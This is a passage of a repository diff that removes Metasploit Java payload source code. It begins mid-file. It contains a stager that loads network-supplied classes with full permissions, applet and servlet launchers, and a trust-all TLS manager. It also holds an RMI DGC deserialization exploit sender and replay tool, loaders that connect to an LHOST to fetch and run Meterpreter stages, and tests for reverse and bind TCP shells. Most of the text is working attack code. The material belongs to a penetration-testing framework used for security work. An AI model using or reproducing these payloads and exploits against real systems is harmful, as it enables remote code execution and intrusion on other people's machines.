stageParams[i] = stageParamTokenizer.nextToken();
}
new Payload().bootstrap(in, out, props.getProperty("EmbeddedStage", null), stageParams);
}
}
private static void writeEmbeddedFile(Class clazz, String resourceName, File targetFile) throws FileNotFoundException, IOException {
InputStream in = clazz.getResourceAsStream("/"+resourceName);
FileOutputStream fos = new FileOutputStream(targetFile);
byte[] buf = new byte[4096];
int len;
while ((len = in.read(buf)) != -1) {
fos.write(buf,0,len);
}
fos.close();
}
private final void bootstrap(InputStream rawIn, OutputStream out, String embeddedStageName, String[] stageParameters) throws Exception {
try {
final DataInputStream in = new DataInputStream(rawIn);
Class clazz;
final Permissions permissions = new Permissions();
permissions.add(new AllPermission());
final ProtectionDomain pd = new ProtectionDomain(new CodeSource(new URL("file:///"), new Certificate[0]), permissions);
if (embeddedStageName == null) {
int length = in.readInt();
do {
final byte[] classfile = new byte[length];
in.readFully(classfile);
resolveClass(clazz = defineClass(null, classfile, 0, length, pd));
length = in.readInt();
} while (length > 0);
} else {
clazz = Class.forName("javapayload.stage."+embeddedStageName);
}
final Object stage = clazz.newInstance();
clazz.getMethod("start", new Class[] { DataInputStream.class, OutputStream.class, String[].class }).invoke(stage, new Object[] { in, out, stageParameters });
} catch (final Throwable t) {
t.printStackTrace(new PrintStream(out));
}
}
///
/// The rest of the file is based on code from Apache Ant 1.8.1
///
private static final String OS_NAME = System.getProperty("os.name").toLowerCase(Locale.ENGLISH);
private static final String PATH_SEP = System.getProperty("path.separator");
private static final boolean IS_AIX = "aix".equals(OS_NAME);
private static final boolean IS_DOS = PATH_SEP.equals(";");
private static final String JAVA_HOME = System.getProperty("java.home");
private static String getJreExecutable(String command) {
File jExecutable = null;
if (IS_AIX) {
// On IBM's JDK 1.2 the directory layout is different, 1.3 follows
// Sun's layout.
jExecutable = findInDir(JAVA_HOME + "/sh", command);
}
if (jExecutable == null) {
jExecutable = findInDir(JAVA_HOME + "/bin", command);
}
if (jExecutable != null) {
return jExecutable.getAbsolutePath();
} else {
// Unfortunately on Windows java.home doesn't always refer
// to the correct location, so we need to fall back to
// assuming java is somewhere on the PATH.
return addExtension(command);
}
}
private static String addExtension(String command) {
// This is the most common extension case - exe for windows and OS/2,
// nothing for *nix.
return command + (IS_DOS ? ".exe" : "");
}
private static File findInDir(String dirName, String commandName) {
File dir = normalize(dirName);
File executable = null;
if (dir.exists()) {
executable = new File(dir, addExtension(commandName));
if (!executable.exists()) {
executable = null;
}
}
return executable;
}
private static File normalize(final String path) {
Stack s = new Stack();
String[] dissect = dissect(path);
s.push(dissect[0]);
StringTokenizer tok = new StringTokenizer(dissect[1], File.separator);
while (tok.hasMoreTokens()) {
String thisToken = tok.nextToken();
if (".".equals(thisToken)) {
continue;
}
if ("..".equals(thisToken)) {
if (s.size() < 2) {
// Cannot resolve it, so skip it.
return new File(path);
}
s.pop();
} else { // plain component
s.push(thisToken);
}
}
StringBuffer sb = new StringBuffer();
for (int i = 0; i < s.size(); i++) {
if (i > 1) {
// not before the filesystem root and not after it, since root
// already contains one
sb.append(File.separatorChar);
}
sb.append(s.elementAt(i));
}
return new File(sb.toString());
}
private static String[] dissect(String path) {
char sep = File.separatorChar;
path = path.replace('/', sep).replace('\\', sep);
// make sure we are dealing with an absolute path
String root = null;
int colon = path.indexOf(':');
if (colon > 0 && IS_DOS) {
int next = colon + 1;
root = path.substring(0, next);
char[] ca = path.toCharArray();
root += sep;
//remove the initial separator; the root has it.
next = (ca[next] == sep) ? next + 1 : next;
StringBuffer sbPath = new StringBuffer();
// Eliminate consecutive slashes after the drive spec:
for (int i = next; i < ca.length; i++) {
if (ca[i] != sep || ca[i - 1] != sep) {
sbPath.append(ca[i]);
}
}
path = sbPath.toString();
} else if (path.length() > 1 && path.charAt(1) == sep) {
// UNC drive
int nextsep = path.indexOf(sep, 2);
nextsep = path.indexOf(sep, nextsep + 1);
root = (nextsep > 2) ? path.substring(0, nextsep + 1) : path;
path = path.substring(root.length());
} else {
root = File.separator;
path = path.substring(1);
}
return new String[] {root, path};
}
}

View File

@ -1,14 +0,0 @@
package metasploit;
import java.applet.*;
public class PayloadApplet extends Applet {
public void init() {
try {
Payload.main(null);
} catch (Exception ex) {
ex.printStackTrace();
}
}
}

View File

@ -1,30 +0,0 @@
package metasploit;
import java.io.*;
import javax.servlet.*;
import javax.servlet.http.*;
import java.lang.Thread;
public class PayloadServlet extends HttpServlet implements Runnable {
public void run() {
try {
metasploit.Payload.main(new String[] {""});
} catch (Exception e) {}
}
protected void doGet(HttpServletRequest req, HttpServletResponse res)
throws ServletException, java.io.IOException
{
PrintWriter out = res.getWriter();
try {
Thread t = new Thread(this);
t.start();
} catch(Exception e) { };
out.close();
}
}

View File

@ -1,86 +0,0 @@
/*
* Java Payloads trust manager loader class for Metasploit.
*
* Copyright (c) 2011, Michael 'mihi' Schierl
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* - Redistributions of source code must retain the above copyright notice,
* this list of conditions and the following disclaimer.
*
* - Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* - Neither name of the copyright holders nor the names of its
* contributors may be used to endorse or promote products derived from
* this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND THE CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
* HOLDERS OR THE CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
* OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE
* USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
package metasploit;
import java.net.URLConnection;
import javax.net.ssl.HostnameVerifier;
import javax.net.ssl.HttpsURLConnection;
import javax.net.ssl.SSLContext;
import javax.net.ssl.SSLSession;
import javax.net.ssl.TrustManager;
import javax.net.ssl.X509TrustManager;
import java.security.cert.X509Certificate;
/**
* Trust manager used for HTTPS stagers. This is in its own class because it
* depends on classes only present on Sun JRE 1.4+, and incorporating it into
* the main {@link Payload} class would have made it impossible for other/older
* JREs to load it.
*/
public class PayloadTrustManager implements X509TrustManager, HostnameVerifier {
public X509Certificate[] getAcceptedIssuers() {
// no preferred issuers
return new X509Certificate[0];
}
public void checkClientTrusted(java.security.cert.X509Certificate[] certs, String authType) {
// trust everyone
}
public void checkServerTrusted(java.security.cert.X509Certificate[] certs, String authType) {
// trust everyone
}
public boolean verify(String hostname, SSLSession session) {
// trust everyone
return true;
}
/**
* Called by the {@link Payload} class to modify the given
* {@link URLConnection} so that it uses this trust manager.
*/
public static void useFor(URLConnection uc) throws Exception {
if (uc instanceof HttpsURLConnection) {
HttpsURLConnection huc = ((HttpsURLConnection) uc);
PayloadTrustManager ptm = new PayloadTrustManager();
SSLContext sc = SSLContext.getInstance("SSL");
sc.init(null, new TrustManager[] { ptm }, new java.security.SecureRandom());
huc.setSSLSocketFactory(sc.getSocketFactory());
huc.setHostnameVerifier(ptm);
}
}
}

View File

@ -1,47 +0,0 @@
package metasploit;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.io.ObjectStreamException;
import java.io.Serializable;
import java.net.URL;
import java.security.AllPermission;
import java.security.CodeSource;
import java.security.Permissions;
import java.security.ProtectionDomain;
import java.security.cert.Certificate;
public class RMILoader extends ClassLoader implements Serializable {
public Object readResolve() throws ObjectStreamException {
try {
String[] classes = new String[] {
"metasploit/Payload.class",
"metasploit/RMIPayload.class"
};
Class clazz = null;
for (int i = 0; i < classes.length; i++) {
Permissions permissions = new Permissions();
permissions.add(new AllPermission());
ByteArrayOutputStream out = new ByteArrayOutputStream();
InputStream in = getResourceAsStream(classes[i]);
byte[] buf = new byte[4096];
int len;
while ((len = in.read(buf)) != -1) {
out.write(buf, 0, len);
}
in.close();
byte[] classBytes = out.toByteArray();
clazz = defineClass(null, classBytes, 0, classBytes.length, new ProtectionDomain(new CodeSource(new URL("file:///"), new Certificate[0]), permissions));
}
clazz.newInstance();
} catch (Exception ex) {
throw new RuntimeException(ex.toString());
}
return null;
}
public URL getResource(String name) {
return getClass().getClassLoader().getResource(name);
}
}

View File

@ -1,16 +0,0 @@
package metasploit;
import java.security.AccessController;
import java.security.PrivilegedExceptionAction;
public class RMIPayload implements PrivilegedExceptionAction {
public RMIPayload() throws Exception {
AccessController.doPrivileged(this);
}
public Object run() throws Exception {
Payload.main(null);
return null;
}
}

View File

@ -1,62 +0,0 @@
package rmi;
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InterruptedIOException;
import java.net.ServerSocket;
import java.net.Socket;
import java.rmi.UnmarshalException;
public class RMICaptureServer {
// http://download.oracle.com/javase/1.3/docs/guide/rmi/spec/rmi-protocol.html
public static void main(String[] args) throws Exception {
FileOutputStream fos = new FileOutputStream("build/rmipacket");
ServerSocket ss = new ServerSocket(11099);
Thread t = new Thread(new Runnable() {
public void run() {
try {
RMISender.main(new String[] {"file:./rmidummy.jar", "localhost", "11099"});
} catch (UnmarshalException ex) {
// expected
} catch (Exception ex) {
ex.printStackTrace();
}
}
});
t.setDaemon(true);
t.start();
Socket s = ss.accept();
ss.close();
DataInputStream in = new DataInputStream(s.getInputStream());
DataOutputStream out = new DataOutputStream(s.getOutputStream());
byte[] hdr = new byte[7];
in.readFully(hdr);
if (!new String(hdr, "ISO-8859-1").equals("JRMI\0\2K"))
throw new IOException("Unsupported RMI header");
out.write('N');
out.writeUTF("127.0.0.1");
out.writeInt(11099);
out.flush();
in.readUTF();
in.readInt();
s.setSoTimeout(1000);
try {
byte[] buf = new byte[4096];
int len;
while ((len = in.read(buf)) != -1) {
fos.write(buf, 0, len);
}
} catch (InterruptedIOException ex) {
// we are done
}
fos.close();
}
}

View File

@ -1,37 +0,0 @@
package rmi;
import java.io.DataInputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.OutputStream;
import java.net.Socket;
public class RMIReplaySender {
// http://download.oracle.com/javase/1.3/docs/guide/rmi/spec/rmi-protocol.html
public static void main(String[] args) throws Exception {
File rmipacket = new File("build/rmipacket");
System.out.println(rmipacket.length());
DataInputStream in = new DataInputStream(new FileInputStream(rmipacket));
byte[] packetBytes = new byte[(int)rmipacket.length()];
in.readFully(packetBytes);
in.close();
String url = args[0];
String dummyURL = "file:./rmidummy.jar";
String packetStr = new String(packetBytes, "ISO-8859-1");
int pos = packetStr.indexOf((char)0+""+(char)dummyURL.length() + dummyURL);
packetStr = packetStr.substring(0, pos+1) + (char)url.length() + url + packetStr.substring(pos + 2 + dummyURL.length());
packetBytes = packetStr.getBytes("ISO-8859-1");
Socket s = new Socket(args[1],Integer.parseInt(args[2]));
OutputStream out = s.getOutputStream();
out.write("JRMI\0\2K\0\0\0\0\0\0".getBytes("ISO-8859-1"));
out.write(packetBytes);
out.flush();
Thread.sleep(500);
s.close();
}
}

View File

@ -1,36 +0,0 @@
package rmi;
import java.io.ObjectOutput;
import java.lang.reflect.Field;
import java.net.URL;
import java.net.URLClassLoader;
import java.rmi.server.ObjID;
import java.rmi.server.Operation;
import java.rmi.server.RemoteCall;
import sun.rmi.server.UnicastRef2;
import sun.rmi.transport.DGCImpl_Stub;
import sun.rmi.transport.Endpoint;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
public class RMISender {
public static void main(String[] args) throws Exception {
Endpoint endpoint = new TCPEndpoint(args[1], Integer.parseInt(args[2]));
URLClassLoader ucl = new URLClassLoader(new URL[] {new URL(args[0])});
Object loader = ucl.loadClass("metasploit.RMILoader").newInstance();
UnicastRef2 ref = new UnicastRef2(new LiveRef(new ObjID(ObjID.DGC_ID), endpoint, false));
DGCImpl_Stub stub = new DGCImpl_Stub(ref);
Field f = stub.getClass().getDeclaredField("operations");;
f.setAccessible(true);
RemoteCall remotecall = ref.newCall(stub, (Operation[])f.get(stub), 0, 0xf6b6898d8bf28643L);
ObjectOutput objectoutput = remotecall.getOutputStream();
objectoutput.writeObject(new ObjID[0]);
objectoutput.writeLong(0);
objectoutput.writeObject(loader);
objectoutput.writeBoolean(false);
ref.invoke(remotecall);
ref.done(remotecall);
}
}

View File

@ -1,22 +0,0 @@
package com.metasploit.meterpreter;
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.OutputStream;
/**
* Dummy/Stub meterpreter class for unit tests.
*/
public class MeterpDummy {
public MeterpDummy(DataInputStream in, OutputStream rawOut, boolean loadExtensions, boolean redirectErrors) throws Exception {
byte[] buffer = new byte[in.readInt()];
in.readFully(buffer);
DataOutputStream out = new DataOutputStream(rawOut);
out.write(buffer);
out.writeBoolean(loadExtensions);
out.writeBoolean(redirectErrors);
out.close();
}
}

View File

@ -1,20 +0,0 @@
package javapayload.stage;
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.OutputStream;
public class DummyStage implements Stage {
public void start(DataInputStream in, OutputStream rawOut, String[] parameters) throws Exception {
byte[] buffer = new byte[in.readInt()];
in.readFully(buffer);
DataOutputStream out = new DataOutputStream(rawOut);
out.write(buffer);
out.writeInt(parameters.length);
for (int i = 0; i < parameters.length; i++) {
out.writeUTF(parameters[i]);
}
in.close();
out.close();
}
}

View File

@ -1,80 +0,0 @@
package javapayload.stage;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.net.URL;
import java.net.URLConnection;
import java.util.Random;
import java.util.jar.JarOutputStream;
import java.util.zip.ZipEntry;
import junit.framework.Assert;
import junit.framework.TestCase;
import com.metasploit.meterpreter.MemoryBufferURLConnection;
import com.metasploit.meterpreter.MeterpDummy;
public class MeterpreterTest extends TestCase {
public void testMemoryBufferURLConnection() throws Exception {
final String CONTENT_TYPE = "application/x-unit-test-example";
byte[] randomData = new byte[4096];
new Random().nextBytes(randomData);
URL url = MemoryBufferURLConnection.createURL(randomData, CONTENT_TYPE);
URLConnection uc = url.openConnection();
uc.connect();
Assert.assertEquals(CONTENT_TYPE, uc.getContentType());
Assert.assertEquals(4096, uc.getContentLength());
ByteArrayOutputStream out = new ByteArrayOutputStream();
StreamForwarder.forward(uc.getInputStream(), out);
Assert.assertEquals(new String(randomData, "ISO-8859-1"), new String(out.toByteArray(), "ISO-8859-1"));
}
public void testMeterpreterStage() throws Exception {
// build dummy Meterpreter stage
ByteArrayOutputStream baos = new ByteArrayOutputStream();
DataOutputStream dos = new DataOutputStream(baos);
StreamForwarder.forward(MeterpDummy.class.getResourceAsStream(MeterpDummy.class.getSimpleName()+".class"), baos);
String meterpDummy = new String(baos.toByteArray(), "ISO-8859-1").replace("MeterpDummy", "Meterpreter");
baos.reset();
JarOutputStream jos = new JarOutputStream(baos);
jos.putNextEntry(new ZipEntry("com/metasploit/meterpreter/Meterpreter.class"));
jos.write(meterpDummy.getBytes("ISO-8859-1"));
jos.close();
byte[] dummyJar = baos.toByteArray();
// build payload
baos.reset();
dos.writeInt(dummyJar.length);
dos.write(dummyJar);
byte[] randomData = new byte[4096];
new Random().nextBytes(randomData);
dos.writeInt(randomData.length);
dos.write(randomData);
byte[] payload = baos.toByteArray();
// test payload with output redirection enabled
baos.reset();
new Meterpreter().start(new DataInputStream(new ByteArrayInputStream(payload)), baos, new String[] {"Payload", "--", "Meterpreter"});
DataInputStream in = new DataInputStream(new ByteArrayInputStream(baos.toByteArray()));
byte[] roundtripData = new byte[4096];
in.readFully(roundtripData);
Assert.assertEquals(new String(randomData, "ISO-8859-1"), new String(roundtripData, "ISO-8859-1"));
Assert.assertEquals(true, in.readBoolean());
Assert.assertEquals(true, in.readBoolean());
Assert.assertEquals(-1, in.read());
// test payload with output redirection disabled
baos.reset();
new Meterpreter().start(new DataInputStream(new ByteArrayInputStream(payload)), baos, new String[] {"Payload", "--", "Meterpreter", "NoRedirect"});
in = new DataInputStream(new ByteArrayInputStream(baos.toByteArray()));
roundtripData = new byte[4096];
in.readFully(roundtripData);
Assert.assertEquals(new String(randomData, "ISO-8859-1"), new String(roundtripData, "ISO-8859-1"));
Assert.assertEquals(true, in.readBoolean());
Assert.assertEquals(false, in.readBoolean());
Assert.assertEquals(-1, in.read());
}
}

View File

@ -1,22 +0,0 @@
package javapayload.stage;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.DataInputStream;
import junit.framework.Assert;
import junit.framework.TestCase;
public class ShellTest extends TestCase {
public void testShellStage() throws Exception {
Shell shell = new Shell();
String commands = "echo MagicToken\r\nexit\r\n";
DataInputStream in = new DataInputStream(new ByteArrayInputStream(commands.getBytes("ISO-8859-1")));
ByteArrayOutputStream out = new ByteArrayOutputStream();
shell.start(in, out, new String[] {"Payload", "--", "Shell"});
String shellOutput = new String(out.toByteArray(), "ISO-8859-1");
Assert.assertTrue("MagicToken missing in shell output: "+shellOutput, shellOutput.contains("MagicToken"));
Assert.assertEquals(-1, in.read());
}
}

View File

@ -1,261 +0,0 @@
package metasploit;
import java.io.ByteArrayOutputStream;
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.InputStream;
import java.io.OutputStream;
import java.lang.reflect.InvocationTargetException;
import java.net.ConnectException;
import java.net.InetAddress;
import java.net.ServerSocket;
import java.net.Socket;
import java.net.SocketTimeoutException;
import java.net.URL;
import java.net.URLClassLoader;
import java.security.MessageDigest;
import java.security.SecureRandom;
import java.util.Properties;
import java.util.Random;
import java.util.concurrent.Callable;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
import java.util.concurrent.Future;
import java.util.jar.JarOutputStream;
import java.util.zip.ZipEntry;
import javapayload.stage.DummyStage;
import javapayload.stage.Stage;
import javapayload.stage.StreamForwarder;
import javax.crypto.Cipher;
import javax.crypto.CipherInputStream;
import javax.crypto.CipherOutputStream;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import junit.framework.Assert;
import junit.framework.TestCase;
import com.metasploit.meterpreter.MemoryBufferURLConnection;
public class PayloadTest extends TestCase {
public void testReverseTCP() throws Exception {
ServerSocket ss = new ServerSocket(0);
final Properties metasploitDat = new Properties();
metasploitDat.setProperty("LHOST", ""+InetAddress.getLocalHost().getHostAddress());
metasploitDat.setProperty("LPORT", ""+ss.getLocalPort());
ExecutorService tempThread = Executors.newFixedThreadPool(1);
Future handle = tempThread.submit(new Callable() {
public Object call() throws Exception {
return runPayload(metasploitDat, null);
}
});
ss.setSoTimeout(1000);
try {
Socket s = ss.accept();
handleSocketCommunication(s);
} catch (SocketTimeoutException ex) {
handle.get();
throw ex;
}
ss.close();
Assert.assertNull(handle.get());
tempThread.shutdown();
}
public void testAESReverseTCP() throws Exception {
final String KEY = "ThisIsMyUnitTest";
ServerSocket ss = new ServerSocket(0);
final Properties metasploitDat = new Properties();
metasploitDat.setProperty("LHOST", ""+InetAddress.getLocalHost().getHostAddress());
metasploitDat.setProperty("LPORT", ""+ss.getLocalPort());
metasploitDat.setProperty("AESPassword", KEY);
ExecutorService tempThread = Executors.newFixedThreadPool(1);
Future handle = tempThread.submit(new Callable() {
public Object call() throws Exception {
return runPayload(metasploitDat, AESEncryption.class);
}
});
ss.setSoTimeout(5000);
try {
Socket s = ss.accept();
DataOutputStream out = new DataOutputStream(s.getOutputStream());
DataInputStream in = new DataInputStream(s.getInputStream());
out.writeInt(0);
SecureRandom sr = new SecureRandom();
byte[] outIV = new byte[16];
sr.nextBytes(outIV);
out.write(outIV);
out.flush();
byte[] inIV = new byte[16];
in.readFully(inIV);
byte[] keyBytes = MessageDigest.getInstance("MD5").digest(KEY.getBytes());
Cipher co = Cipher.getInstance("AES/CFB8/NoPadding");
co.init(Cipher.ENCRYPT_MODE, new SecretKeySpec(keyBytes, "AES"), new IvParameterSpec(outIV), sr);
Cipher ci = Cipher.getInstance("AES/CFB8/NoPadding");
ci.init(Cipher.DECRYPT_MODE, new SecretKeySpec(keyBytes, "AES"), new IvParameterSpec(inIV), sr);
handleSocketCommunication(new CipherOutputStream(out, co), new CipherInputStream(in, ci));
s.close();
} catch (SocketTimeoutException ex) {
handle.get();
throw ex;
}
ss.close();
Assert.assertNull(handle.get());
tempThread.shutdown();
}
public void testBindTCP() throws Exception {
ServerSocket ss = new ServerSocket(0);
int port = ss.getLocalPort();
ss.close();
final Properties metasploitDat = new Properties();
metasploitDat.setProperty("LPORT", ""+port);
ExecutorService tempThread = Executors.newFixedThreadPool(1);
Future handle = tempThread.submit(new Callable() {
public Object call() throws Exception {
return runPayload(metasploitDat, null);
}});
Socket s;
for(int retry = 0;; retry++) {
try {
s = new Socket(InetAddress.getLocalHost(), port);
break;
} catch (ConnectException ex) {
if (retry == 10)
throw ex;
Thread.sleep(500);
}
}
handleSocketCommunication(s);
ss.close();
Assert.assertNull(handle.get());
tempThread.shutdown();
}
public void testSpawnReverseTCP() throws Exception {
ServerSocket ss = new ServerSocket(0);
final Properties metasploitDat = new Properties();
metasploitDat.setProperty("LHOST", ""+InetAddress.getLocalHost().getHostAddress());
metasploitDat.setProperty("LPORT", ""+ss.getLocalPort());
metasploitDat.setProperty("Spawn", "2");
Assert.assertNull(runPayload(metasploitDat, null));
ss.setSoTimeout(10000);
Socket s = ss.accept();
handleSocketCommunication(s);
ss.close();
}
private Object runPayload(final Properties metasploitDat, Class extraClass) throws IllegalAccessException, InvocationTargetException, NoSuchMethodException, ClassNotFoundException, Exception {
return setUpClassLoader(metasploitDat, extraClass).loadClass("metasploit.Payload").getMethod("main", new Class[] {String[].class}).invoke(null, new Object[] {new String[0]});
}
private URLClassLoader setUpClassLoader(Properties metasploitDat, Class extraClass) throws Exception {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
StreamForwarder.forward(Payload.class.getResourceAsStream(Payload.class.getSimpleName()+".class"), baos);
byte[] payloadClass = baos.toByteArray(), instrumentedPayloadClass = null;
baos.reset();
// load the uninstrumented class as resource when running unter Cobertura so that Spawn will work
try {
ClassLoader loader = Class.forName("net.sourceforge.cobertura.coveragedata.CoverageDataFileHandler").getClassLoader();
if (loader instanceof URLClassLoader && ((URLClassLoader) loader).getURLs().length == 1) {
File jarFile = new File(((URLClassLoader)loader).getURLs()[0].toURI());
if (jarFile.getName().startsWith("surefirebooter")) {
File origFile = new File(jarFile.getParentFile().getParentFile(), "classes/metasploit/Payload.class");
StreamForwarder.forward(new FileInputStream(origFile), baos);
instrumentedPayloadClass = payloadClass;
payloadClass = baos.toByteArray();
baos.reset();
}
}
} catch (ClassNotFoundException ex) {}
byte[] extraClassBytes = null;
if (extraClass != null) {
StreamForwarder.forward(extraClass.getResourceAsStream(extraClass.getSimpleName()+".class"), baos);
extraClassBytes = baos.toByteArray();
baos.reset();
}
JarOutputStream jos = new JarOutputStream(baos);
jos.putNextEntry(new ZipEntry("metasploit.dat"));
metasploitDat.store(jos, null);
jos.putNextEntry(new ZipEntry("metasploit/Payload.class"));
jos.write(payloadClass);
if (extraClass != null) {
jos.putNextEntry(new ZipEntry(extraClass.getName().replace('.','/')+".class"));
jos.write(extraClassBytes);
}
jos.close();
byte[] payloadJar = baos.toByteArray();
final byte[] classToDefine = instrumentedPayloadClass;
return new URLClassLoader(new URL[] {MemoryBufferURLConnection.createURL(payloadJar, "application/jar")}) {
{
if (classToDefine != null) {
defineClass(null, classToDefine, 0, classToDefine.length);
}
}
protected synchronized Class loadClass(String name, boolean resolve) throws ClassNotFoundException {
// do not load classes from metasploit package from parent class loader!
if (name.startsWith("metasploit.")) {
Class clazz = findLoadedClass(name);
if (clazz == null) {
clazz = findClass(name);
if (resolve) {
resolveClass(clazz);
}
}
return clazz;
} else {
return super.loadClass(name, resolve);
}
}
public URL getResource(String name) {
URL result = findResource(name);
if (result != null)
return result;
return super.getResource(name);
}
};
}
private void handleSocketCommunication(Socket socket) throws Exception {
handleSocketCommunication(socket.getOutputStream(), socket.getInputStream());
socket.close();
}
private void handleSocketCommunication(OutputStream out, InputStream in) throws Exception {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
StreamForwarder.forward(Stage.class.getResourceAsStream(Stage.class.getSimpleName()+".class"), baos, false);
byte[] stageClass = baos.toByteArray();
baos.reset();
StreamForwarder.forward(DummyStage.class.getResourceAsStream(DummyStage.class.getSimpleName()+".class"), baos);
byte[] dummyStageClass = baos.toByteArray();
baos.close();
DataOutputStream dos = new DataOutputStream(out);
dos.writeInt(stageClass.length);
dos.write(stageClass);
dos.writeInt(dummyStageClass.length);
dos.write(dummyStageClass);
dos.writeInt(0);
byte[] randomData = new byte[4096];
new Random().nextBytes(randomData);
dos.writeInt(randomData.length);
dos.write(randomData);
dos.flush();
DataInputStream dis = new DataInputStream(in);
byte[] roundtripData = new byte[4096];
dis.readFully(roundtripData);
String[] params = new String[dis.readInt()];
for (int i = 0; i < params.length; i++) {
params[i] = dis.readUTF();
}
Assert.assertEquals(-1, dis.read());
Assert.assertEquals(2, params.length);
Assert.assertEquals("Payload", params[0]);
Assert.assertEquals("--", params[1]);
}
}

View File

@ -1,58 +0,0 @@
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>com.metasploit</groupId>
<artifactId>Metasploit-Java-Meterpreter-debugloader</artifactId>
<parent>
<groupId>com.metasploit</groupId>
<artifactId>Metasploit-Java-Meterpreter-parent</artifactId>
<version>1-SNAPSHOT</version>
</parent>
<packaging>jar</packaging>
<name>Java Meterpreter Debug Loader</name>
<url>http://www.metasploit.com/</url>
<dependencies>
<dependency>
<groupId>com.metasploit</groupId>
<artifactId>Metasploit-JavaPayload</artifactId>
<version>${project.version}</version>
</dependency>
<dependency>
<groupId>com.metasploit</groupId>
<artifactId>Metasploit-Java-Meterpreter</artifactId>
<version>${project.version}</version>
</dependency>
<dependency>
<groupId>com.metasploit</groupId>
<artifactId>Metasploit-Java-Meterpreter-stdapi</artifactId>
<version>${project.version}</version>
</dependency>
</dependencies>
<profiles>
<profile>
<!-- deploy built files to Metasploit data directory -->
<id>deploy</id>
<build>
<plugins>
<plugin>
<artifactId>maven-antrun-plugin</artifactId>
<version>1.7</version>
<executions>
<execution>
<phase>package</phase>
<goals>
<goal>run</goal>
</goals>
<configuration>
<target>
<!-- TODO -->
</target>
</configuration>
</execution>
</executions>
</plugin>
</plugins>
</build>
</profile>
</profiles>
</project>

View File

@ -1,35 +0,0 @@
package com.metasploit.meterpreter;
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.OutputStream;
import java.net.Socket;
/**
* A loader that does not use the provided jars but loads all classes from the current classpath. Useful for debugging with the edit-and-continue feature enabled.
*
* @author mihi
*/
public class DebugLoader {
/**
* Main entry point.
*/
public static void main(String[] args) throws Exception {
if (args.length < 2) {
System.out.println("Usage: java com.metasploit.meterpreter.DebugLoader <LHOST> <LPORT> [<RedirectError>]");
return;
}
Socket msgsock = new Socket(args[0], Integer.parseInt(args[1]));
DataInputStream in = new DataInputStream(msgsock.getInputStream());
OutputStream out = new DataOutputStream(msgsock.getOutputStream());
int coreLen = in.readInt();
while (coreLen != 0) {
in.readFully(new byte[coreLen]);
coreLen = in.readInt();
}
coreLen = in.readInt();
in.readFully(new byte[coreLen]);
new com.metasploit.meterpreter.Meterpreter(in, out, false, args.length == 3);
msgsock.close();
}
}

View File

@ -1,35 +0,0 @@
package com.metasploit.meterpreter;
import java.io.ByteArrayOutputStream;
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.OutputStream;
import java.net.URL;
/**
* A loader that does not use the provided jars but loads all classes from the current classpath. Useful for debugging with the edit-and-continue feature enabled.
*
* @author mihi
*/
public class URLDebugLoader {
/**
* Main entry point.
*/
public static void main(String[] args) throws Exception {
if (args.length < 2) {
System.out.println("Usage: java com.metasploit.meterpreter.URLDebugLoader <LHOST> <LPORT> [<RedirectError>]");
return;
}
URL initURL = new URL("http://" + args[0] + ":" + args[1] + "/INITJM");
DataInputStream in = new DataInputStream(initURL.openStream());
OutputStream out = new DataOutputStream(new ByteArrayOutputStream());
int coreLen = in.readInt();
while (coreLen != 0) {
in.readFully(new byte[coreLen]);
coreLen = in.readInt();
}
coreLen = in.readInt();
in.readFully(new byte[coreLen]);
new com.metasploit.meterpreter.Meterpreter(in, out, false, args.length == 3);
}
}

View File

@ -1,61 +0,0 @@
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>com.metasploit</groupId>
<artifactId>Metasploit-Java-Meterpreter</artifactId>
<parent>
<groupId>com.metasploit</groupId>
<artifactId>Metasploit-Java-Meterpreter-parent</artifactId>
<version>1-SNAPSHOT</version>
</parent>
<packaging>jar</packaging>
<name>Java Meterpreter</name>
<url>http://www.metasploit.com/</url>
